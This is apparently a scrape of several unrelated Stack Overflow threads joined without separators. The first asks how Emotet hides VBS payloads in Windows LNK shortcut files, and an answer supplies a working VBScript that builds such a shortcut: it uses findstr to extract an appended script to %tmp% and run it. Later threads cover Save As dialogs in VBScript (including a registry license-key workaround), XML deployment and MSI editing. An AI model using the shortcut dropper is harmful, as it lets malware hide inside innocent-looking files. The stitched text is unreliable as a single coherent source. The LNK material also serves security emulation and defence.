There has been a rise in the use of LNK shortcut files to deliver malware, in particular Emotet. Within the LNK file is a payload (usually a VBS script) that is found with findstr.exe. The payload is saved to a file and then run. For example, findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Security researchers say it is possible to append data to a LNK file without disrupting its functionality. So in the case of Emotet, a VBS script is being appended. I am attempting to create a benign LNK file that would mimic Emotet's activity.
How are these threat actors appending data to LNK shortcut files? I have crafted my own LNK file with PowerShell that simply opens calc.exe. With the use of a hex editor I attempted to add a simple script, but to no avail.
EDIT: To clarify, I work for a cyber security company and am trying to test my company's security posture through emulating this type of activity.
My question is based off the following article - Rise of LNK Shortcut Files
It looks like you can append any data you want to a .lnk file and Windows does not care. That being said, the .lnk binary file format is documented and you can embed custom datablocks if you really want the .lnk file to follow the spec. To do that it helps to use C or some other language that supports COM. Here I'm just using VBScript to generate the .lnk for simplicity.
GenerateLnk.vbs:
Set WShell = WScript.CreateObject("WScript.Shell")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
lnkfilename = "SO_Vir_Test.lnk"
set lnk = WShell.CreateShortcut(FSO.BuildPath(FSO.GetParentFolderName(WScript.ScriptFullName), lnkfilename))
lnk.TargetPath = FSO.BuildPath(WShell.ExpandEnvironmentStrings("%windir%"), "system32\cmd.exe")
lnk.IconLocation = "shell32.dll,1" ' Why not :)
magic = "Ev1LStArTsH3re"
lnk.Arguments = "/C findstr """+magic+".*"" """+lnkfilename+""" > ""%tmp%\Evil.vbs""&wscript ""%tmp%\Evil.vbs"""
lnk.Save
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo.") ' Newline to separate the script from the lnk data, otherwise findstr will include binary junk
WScript.Sleep(500) ' Hack to wait for the previous command, I'm sure there is a better way
WShell.Exec("cmd.exe /C >>"""+lnk+""" echo "+magic+"=1::on error resume next::WScript.Echo(""Hello World"")::WScript.Quit(0)")
Paste the code into a .vbs file and execute it to generate a .lnk shortcut. When you execute this shortcut it will launch cmd.exe and cmd.exe will execute findstr "Ev1LStArTsH3re.*" "SO_Vir_Test.lnk" > "%tmp%\Evil.vbs"&wscript "%tmp%\Evil.vbs". Breaking this down, findstr will find the line that starts with our magic (Ev1LStArTsH3re) inside the .lnk and output that line to stdout. We have redirected stdout to a .vbs file in %temp%. After findstr is done we simply execute the .vbs file we just created. This .vbs file will just show a MessageBox but you could make it do something evil instead.
The big flaw with this exploit is that the user cannot rename the .lnk file before executing it! If the user renames the .lnk the findstr will fail and the whole thing falls flat on its face.
The other two examples in the McAfee blog you linked to simply executes some Powershell command and don't really do anything unusual with the .lnk file.
Go to this page:
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
Where you can download:
[MS-SHLLINK]: Shell Link (.LNK) Binary File Format
The file format allows data to be included in structures/sections that are never revealed by the file's Properties dialog or any of the properties available to the com object created by wscript.shell.
Likely suspects:
1.7 Vendor-Extensible Fields
A shell data source can extend the persistence format by storing custom data inside ItemID structure.
The ItemIDs embedded in an IDList are in a format specified by the shell data sources that manage the ItemIDs. The ItemIDs are free to store whatever data is needed in this structure to uniquely identify the items in their namespace.
The property store embedded in a link can be used to store property values in the shell link.
or perhaps:
2.4 StringData
StringData refers to a set of structures that convey user interface and path identification information. The presence of these optional structures is controlled by LinkFlags (section 2.1.1) in the ShellLinkHeader (section 2.1).
or...
2.5 ExtraData
ExtraData refers to a set of structures that convey additional information about a link target. These optional structures can be present in an extra data section that is appended to the basic Shell Link Binary File Format.
There's a lot to digest...Good luck!!!
This isn't a complete solution - it provides background information and eventually turned into a roadmap to the other answers here:
To rule out a misconception (which I had): The exploit you're referring to is based on embedding / appending data when the LNK file (extension .lnk, a Windows shortcut file) is constructed, not when the LNK file is later opened by the users.
That is, the malicious code is already contained in the LNK file, albeit hidden from the casual observer.
Opening the LNK file - which requires explicit user action - runs a command that itself appears nondescript / harmless (findstr ...), but extracts the malicious code contained in the LNK file itself to a VBS file (.vbs, a VBScript) and executes the latter.
The article you link to doesn't discuss how the malicious code that is extracted to a VBS script is stored inside the LNK file, but there are two possibilities:
Keith Miller's answer discusses the binary file format of LNK files, which supports embedding arbitrary user-defined data. Anders states that the ExtraData field (section 2.5) is the logical choice, as it allows storing arbitrary data that isn't visible in the Properties dialog / via the WScript.Shell COM API. You'll need to construct such LNK files programmatically, using a lower-level language that has access to all COM APIs, such as C/C++.
Anders' answer shows that you can even more simply append data in an unstructured manner to an existing LNK file without breaking its functionality.
Anders' answer shows how to use VBScript to construct the LNK file, but it's even possible to use the GUI to manually create the LNK file and then use simple shell commands using >> (cmd.exe) / Add-Content (PowerShell) to append the malicious code.
I am having an XML file in the application start up path. The program has to read the xml file. It works fine in the development.but when I publish the Application. The XML file is not copied to the out put directory
I have tried to set the copy to output directory always. but no luck
Have you set the xml file properties to be Content rather than None in visual studio?
It might be better to make it an embedded resource and write it do disk on the target machine if it does not exist, that way users can do a local restore but still edit a local version if required.
Dim read As Stream = Me.GetType().Assembly.GetManifestResourceStream("my-file.xml")
Dim buf() As Byte = New Byte((read.Length) - 1)
Dim file As New FileStream("C:\test.xml", FileMode.Create)
read.Read(buf, 0, buf.Length)
file.Write(buf, 0, buf.Length)
file.Close()
read.close()
disclaimer: It's been a long time since I did VB and I've not tried this code but th egist is there
Also you should consider the file size and maybe read in chunks rather than the whole lot depending on the file size. I've added no error handling and you'll obviously want to see if the file is there first
I'd like to have my VBScript display the Windows Save As dialog box, but I could not find out how to do it.
Using this code:
Dim sfd
Set sfd = CreateObject("UserAccounts.CommonDialog")
sfd.ShowOpen
I can get an Open dialog, but there is no ShowSave method for this object (as there seems to be for a similar object in Visual Basic non-script).
I searched StackOverflow and googled for "[vbscript] save dialog" (and with "Windows Script Host"), but I only found threads about accessing common dialogs from web pages and a solution for the BrowseForFolder dialog and nothing really about calling the Save dialog.
Actually, I can use the Open dialog for my purpose, because all I need is a file name... but as I'd like to save something to the selected path, a "Save As" in the title bar of the dialog would be more appropriate.
The secret to using the common dialog from VBScript (or VBA or JScript, for that matter) is that you have to have its license installed on your machine. Certain development tools, such as Visual Basic 6, will install the license, but it's also installed by the free Microsoft HTML Help Editor (this is a pretty old app). The interesting thing is that if you install and then uninstall the HTML Help Editor, it leaves the Common Dialog License in place. For this reason I would consider the license to be freely available and so will include the registry entry it creates here in my answer:
In HKLM\Software\CLASSES\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905, set the (Default) entry to gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj.
Once that's in place, you can create these dialogs from within a VBScript using code like this:
Set objDialog = CreateObject("MSComDlg.CommonDialog")
To launch a file save dialog, use the ShowSave method as in this code:
objDialog.ShowSave
Of course this object has a bunch of other methods and properties, and you'll probably want to configure the appropriate properties before launching the dialog. For example, you can set the file filter so only certain file extensions are shown in the dialog. There's a nice reference to the control on the MSDN site here: http://msdn.microsoft.com/en-us/library/aa259661%28v=vs.60%29.aspx.
Hope this helps. Let me know if you have any questions.
I can definitively say that there is no solution to show a Save As dialog box from VBScript under versions of Windows other than XP without relying on some external dependencies that you must install and register yourself. Aside from the obvious interference this causes with regards to an easy, drag-and-drop deployment of your script, it also brings up a whole host of other issues related to security and permissions, particularly by-passing UAC on the client's machine to install and register a dependency DLL.
The solutions that have been proposed so far rely either on a DLL file that just so happens to be included with Windows XP, invoking the Save As dialog box from Windows XP's User Accounts control panel, and/or installing a piece of software only for it to leave behind the MSComDlg DLL after it is uninstalled that you can then use from a VBScript. None of these solutions truly satisfy the above requirements, and none of the provided answers has even considered the possible security roadblocks that would arise with their proposed solutions, as I alluded to above.
And since you can't make calls directly to the Windows API (which ever-so-conveniently includes just such a Save As dialog) from VBScript (not only because it would pose a security risk, but also because of VBScript's loose [lack of?] typing), that pretty much leaves anyone wanting to do this out in the cold. As well, the inability to make API calls also precludes the use of any hacks like calling SetWindowText to change the caption of the Open dialog, as suggested in the question.
I realize that this is not the answer everyone was wanting. It's not even the answer I was wanting. But alas, it's the correct answer.
That being said, here are a couple of possible workarounds:
If you're leaning towards accepting any of the already-suggested answers, you've already decided to introduce an external dependency on a DLL file to your VBScript deployment. Once you've made that leap, why bother with "borrowing" or otherwise hijacking a DLL from some other source? Just make once yourself. It's trivial to wrap the native common dialog functions provided by the Windows API into an ActiveX DLL using Visual Basic 6, which can then be called by your VBScript. The risks are minimal, since almost any modern version of Windows can be expected to already have the Visual Basic run-time installed, and since you presumably already know VBScript, banging out some code in VB 6 shouldn't be a very difficult undertaking. You can include whatever custom functionality that you want, and most importantly, you'll be in complete control. You won't have to worry about other application's uninstallers removing the DLL that your script requires, you won't have to futz with installing and uninstalling some random, deprecated application, and you won't have to just cross your fingers and hope. We know, as programmers, that's never a good option.
And yes, I recommend actually wrapping the common dialog functions exposed by the Windows API, rather than relying on the common dialog OCX (comdlg32.ocx) provided by Visual Basic. It has its share of problems in Windows 7, and it's not going to get you the gorgeous new dialogs that the later versions of Windows now provide. An excellent article explaining everything you need to know about the Open and Save Common Dialog APIs and how to use them in VB 6 is available here on VBnet. Of course, if you really want to go all out, there's loads of interesting stuff you can do with common dialogs, all documented (with code!) here on VB Accelerator.
But now that I have you all convinced to write an ActiveX DLL in VB 6 that wraps the common dialog functionality to use in your VBScript, I have to ask the question: Why stop there? Once you've made the leap to writing some code in VB 6, why not move all of your code into VB 6? Sure, it's a "dead" language and all, but it's not like VBScript is terribly active either. As I mentioned before, the difference in syntax is virtually nil, and the learning curve for a VBScript developer is about as shallow as one could expect. Plus, you get all of the benefits of a full IDE, static typing, (slightly) better error handling, blah blah blah. Oh yeah, and being able to make direct calls to the Windows API functions. The only real benefit to VBScript is its ubiquity, but it's been years since you could find a computer without the VB runtime installed. Not to mention, if you're writing an application that requires common dialog boxes, you're probably engaging in a dialog with your users: The forms capability of full VB might begin to come in handy at that point. But perhaps the biggest and most important advantage of choosing to go this route is that you eliminate any need to register (or include) an external "satellite" DLL—a simple VB 6 application will run with only the EXE on any computer that has the VB run-time installed, which is included at least up through Windows 7.
And finally, in case you're all sorts of excited about moving up from the lowly VBScript to the full-featured VB 6, I feel compelled to throw another wrench into the equation: Why not move all the way up to a language like VB.NET? Again, there are all sorts of new features offered in VB.NET thanks to the .NET Framework, but it shouldn't take more than a few weeks for a decent VB/VBScript developer to begin to feel comfortable writing apps in VB.NET. They probably won't have a full understanding of the .NET Framework, and they certainly won't have developed good object-oriented design practices, but at least they will be moving in the right direction. Almost anything that you can do in VBScript (or even VB 6), you can do in VB.NET. And generally, it requires even less fuss than before, thanks to the immense functionality exposed by the .NET Framework. The drawback, of course, is that your app now requires the .NET Framework be installed on the user's computer, which isn't quite as ubiquitous as the VB 6 run-time (although it's much more common now than even just a few years ago).
So I hear you saying those weren't the workarounds you were hoping to hear? Yeah, me neither. I'm not that guy who tells people to drop everything and learn a new language. If VBScript continues to work for you, go for it. But if you're at that point where you start to strain at its limitations, it's probably time to make the leap.
If you have some degree of control over the systems on which you'll be deploying this, and can be reasonably certain that they have either Visual Studio or Microsoft HTML Help installed, you can use code like the following:
function filedialog(filt, def, title, save)
set dialog = CreateObject("MSComDlg.CommonDialog")
dialog.MaxFileSize = 256
if filt = "" then
dialog.Filter = "All Files (*.*)|*.*"
else
dialog.Filter = filt
end if
dialog.FilterIndex = 1
dialog.DialogTitle = title
dialog.InitDir = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
dialog.FileName = ""
if save = true then
dialog.DefaultExt = def
dialog.Flags = &H800 + &H4
discard = dialog.ShowSave()
else
dialog.Flags = &H1000 + &H4 + &H800
discard = dialog.ShowOpen()
end if
filedialog = dialog.FileName
end function
Also, adapting one of the other answers to this question into VBScript code (thanks #oddacorn!), you should add this function if you aren't reasonably certain that your users will have VS or HTML Help. Call this function on program startup. Don't worry if you already have the key; in that case, this has no effect. This should work on a standard user account without admin rights.
'Make the MSComDlg.CommonDialog class available for use. Required for filedialog function.
function registerComDlg
Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
objRegistry.CreateKey &H80000001, "Software\CLASSES\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905"
objRegistry.SetStringValue &H80000001, "Software\CLASSES\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905", "", "gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj"
end function
Note that I adapted the filedialog function from the "View Source" of the VBScript code in the HTML here; on modern web browsers, it appears that the HTML they use to render the code samples doesn't display correctly (tested on IE 8 and Chrome). But fortunately the code is still there in the View Source.
I found one thing that was critical to making this work on Windows 7 (SP1, fully patched); you must set dialog.MaxFileSize = 256 or you will get a run-time error.
That is, the following code fails on Windows 7 SP1, but probably works on older versions of Windows:
Set x = CreateObject("MSComDlg.CommonDialog")
x.ShowSave
On
http://blogs.msdn.com/b/gstemp/archive/2004/02/18/75600.aspx
there is a way descibed how to show an Save As dialog from VBScript.
Note that according to
http://www.eggheadcafe.com/software/aspnet/29155097/safrcfiledlg-has-been-deprecated-by-microsoft.aspx
SAFRCFileDlg has been deprecated by Microsoft.
I just made a shell, linked it to a asp website, made the website read a directional tag - which i loaded the file location into, and the asp page opens up the file dialog immediate within that file location, with the filename also specificed through directional tags. Once saved, the shell disappears.
If it's a limitation of the website direcitonal tags ie (blah.com/temp.aspx?x=0&y=2&z=3)
store the information in a SQL db, or flat files, there are a ton of workarounds, but what above is said is true. VBS won't cut it internally.
After looking for ages, I've found jsShell - Shell Component at jsware.net. The zip file contains jsShell.dll 176 kB, a vbscript to register the dll basically regsvr32.exe jsShell.dll, demo scripts and clear documentation.
The DLL works well in Windows 7 and provides several useful methods, including the Open/Save dialog:
Dim jsS, sFileName
jsS = CreateObject("jsShell.Ops")
' Save as dialog
sFileName = jsS.SaveDlg("<title>", "exe") ' Example: Filter by exe files
sFileName = jsS.SaveDlg("<title>", "") ' Example: No extension filter
' Open dialog
' Example: Filter by exe, initial dir at C:\
sFileName = jsS.OpenDlg("<title>", "exe", "C:\")
When no file is selected, sFileName is an empty string.
Private Sub cmdB1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles cmdB1.Click
Dim objExec, strMSHTA, wshShell, SelectFile
SelectFile = ""
' For use in HTAs as well as "plain" VBScript:
strMSHTA = "mshta.exe ""about:" & "<" & "input type=file id=FILE>" _
& "<" & "script>FILE.click();new ActiveXObject('Scripting.FileSystemObject')" _
& ".GetStandardStream(1).WriteLine(FILE.value);close();resizeTo(0,0);" & "<" & "/script>"""
wshShell = CreateObject("WScript.Shell")
objExec = wshShell.Exec(strMSHTA)
SelectFile = objExec.StdOut.ReadLine()
Me.txtT0.Text = SelectFile
objExec = Nothing
wshShell = Nothing
strMSHTA = Nothing
End Sub
I just found a solution in this site
It is fully commented and works well in Windows 10
Here is the code that returns the folder as a string (I tried in three different start folders):
Option Explicit
WScript.Echo BrowseFolder( "C:\Program Files", True )
WScript.Echo BrowseFolder( "My Computer", False )
WScript.Echo BrowseFolder( "", False )
Function BrowseFolder( myStartLocation, blnSimpleDialog )
' This function generates a Browse Folder dialog
' and returns the selected folder as a string.
'
' Arguments:
' myStartLocation [string] start folder for dialog, or "My Computer", or
' empty string to open in "Desktop\My Documents"
' blnSimpleDialog [boolean] if False, an additional text field will be
' displayed where the folder can be selected
' by typing the fully qualified path
'
' Returns: [string] the fully qualified path to the selected folder
'
' Based on the Hey Scripting Guys article
' "How Can I Show Users a Dialog Box That Only Lets Them Select Folders?"
' http://www.microsoft.com/technet/scriptcenter/resources/qanda/jun05/hey0617.mspx
'
' Function written by Rob van der Woude
' http://www.robvanderwoude.com
Const MY_COMPUTER = &H11&
Const WINDOW_HANDLE = 0 ' Must ALWAYS be 0
Dim numOptions, objFolder, objFolderItem
Dim objPath, objShell, strPath, strPrompt
' Set the options for the dialog window
strPrompt = "Select a folder:"
If blnSimpleDialog = True Then
numOptions = 0 ' Simple dialog
Else
numOptions = &H10& ' Additional text field to type folder path
End If
' Create a Windows Shell object
Set objShell = CreateObject( "Shell.Application" )
' If specified, convert "My Computer" to a valid
' path for the Windows Shell's BrowseFolder method
If UCase( myStartLocation ) = "MY COMPUTER" Then
Set objFolder = objShell.Namespace( MY_COMPUTER )
Set objFolderItem = objFolder.Self
strPath = objFolderItem.Path
Else
strPath = myStartLocation
End If
Set objFolder = objShell.BrowseForFolder( WINDOW_HANDLE, strPrompt, _
numOptions, strPath )
' Quit if no folder was selected
If objFolder Is Nothing Then
BrowseFolder = ""
Exit Function
End If
' Retrieve the path of the selected folder
Set objFolderItem = objFolder.Self
objPath = objFolderItem.Path
' Return the path of the selected folder
BrowseFolder = objPath
End Function
Set objDialog = CreateObject( "SAFRCFileDlg.FileSave" )
' Note: If no path is specified, the "current" directory will
' be the one remembered from the last "SAFRCFileDlg.FileOpen"
' or "SAFRCFileDlg.FileSave" dialog!
objDialog.FileName = "test_save.vbs"
' Note: The FileType property is cosmetic only, it doesn't
' automatically append the right file extension!
' So make sure you type the extension yourself!
objDialog.FileType = "VBScript Script"
If objDialog.OpenFileSaveDlg Then
WScript.Echo "objDialog.FileName = " & objDialog.FileName
End If
Given an installer generated with a VS2010 Setup Project, I would like to swap out a .NET DLL with another one without changing the name.
I am already altering the msi file according to this question, swapping out the contents of an entry in the "Binary" table.
I have located the file in question using Orca. It resides in the only cabinet file. I have located this cabinet file in the "Media" table. I'm not sure how to change this cabinet file (API) and I suspect I'd have to change some information in the MSI database too (the "ProcessorArchitecture" record for the assembly in the "MsiAssemblyName" table).
Rationale: I'm making an installer for a Autodesk Revit 2011 plugin. These are registered using an assembly RevitAddinUtility.dll which must be bundled with the installer. This assembly comes in two flavors, one for 32-bit and one for 64-bit installations. I need to swap in the correct version when creating the installer, to avoid writing more than one installers.
Checkout this article for easier ways to accomplish your goal:
RevitAddInUtility for 32 and 64 Bit Systems
Here is a workaround I'm using in the meantime:
add both files, one named RevitAddinUtility.dll the other RevitAddinUtility64.dll
in the PostBuild-Event, ask the user if the setup project should be for 64bit.
if yes, then change the names of the files:
If 6 = MsgBox("Build for 64bit?", 4, "Setup PostBuild event for DesignPerformanceViewer") Then
Dim installer : Set installer = Wscript.CreateObject("WindowsInstaller.Installer")
Dim database : Set database = installer.OpenDatabase(PATH_TO_MSI, msiOpenDatabaseModeTransact)
Dim sqlQuery : sqlQuery = "SELECT `FileName`, `Component_` FROM File"
Dim view : Set view = database.OpenView(sqlQuery)
view.Execute
Dim record : Set record = view.Fetch
While Not record Is Nothing
If InStr(record.StringData(1), "RevitAddInUtility.dll") Then
record.StringData(1) = "REVITA~2.DLL|RevitAddInUtility32.dll"
view.Modify msiViewModifyUpdate, record
ElseIf InStr(record.StringData(1), "RevitAddInUtility64.dll") Then
record.StringData(1) = "REVITA~1.DLL|RevitAddInUtility.dll"
view.Modify msiViewModifyUpdate, record
End If
Set record = view.Fetch
Wend
database.Commit
End If